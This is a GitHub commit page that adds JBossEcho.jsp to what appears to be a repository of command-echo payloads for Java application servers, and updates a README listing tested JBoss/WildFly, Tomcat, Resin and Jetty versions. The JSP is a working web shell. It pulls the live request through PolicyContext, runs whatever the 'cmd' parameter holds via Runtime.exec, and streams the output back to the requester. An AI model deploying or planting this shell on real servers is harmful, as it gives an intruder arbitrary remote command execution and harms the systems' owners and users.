Skip to content

Commit 1d83477

Browse files
author
feihong
committed
添加 JBoss 回显
1 parent 508b055 commit 1d83477

3 files changed

Lines changed: 19 additions & 0 deletions

File tree

JBoss(Wildfly)/code/JBossEcho.jsp

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2+
<%
3+
io.undertow.servlet.spec.HttpServletRequestImpl req = (io.undertow.servlet.spec.HttpServletRequestImpl) javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest");
4+
String cmd = req.getParameter("cmd");
5+
if(cmd != null && !cmd.isEmpty()) {
6+
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
7+
java.io.OutputStream os = req.getExchange().getOutputStream();
8+
9+
byte[] bytes = new byte[1024];
10+
int len = 0;
11+
while ((len = in.read(bytes)) != -1) {
12+
os.write(bytes, 0, len);
13+
}
14+
15+
os.close();
16+
in.close();
17+
}
18+
%>

JBoss(Wildfly)/img/JBossEcho.png

13.5 KB
Loading

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
- [x] Spring回显
77
- [x] Tomcat通用回显 (Tested on 6.0.10/6.0.53/7.0.34/7.0.54/7.0.70/7.0.96/7.0.104/8.0.18/8.0.32/8.0.48/8.5.12/8.5.30/8.5.56/9.0.16/9.0.33, failed on 7.0.10/7.0.22)
88
- [x] Weblogic
9+
- [x] JBoss(Wildfly) (Testd on 8.0.0.Final, 18.0.0.Final, 21.0.0.Beta1)
910
- [x] Resin (Tested on pro-4.0.64, pro-4.0.57, pro-4.0.45, pro-4.0.32, failed on pro-3.1.15)
1011
- [x] Jetty (Tested on 9.4.30.v20200611, 9.3.28.v20191105, 9.2.29.v20191105, 9.0.7.v20131107, 8.1.21.v20160908, 7.6.21.v20160908,
1112
failed on 8.0.3.v20160908, 7.2.1.v20101111)

0 commit comments

Comments
 (0)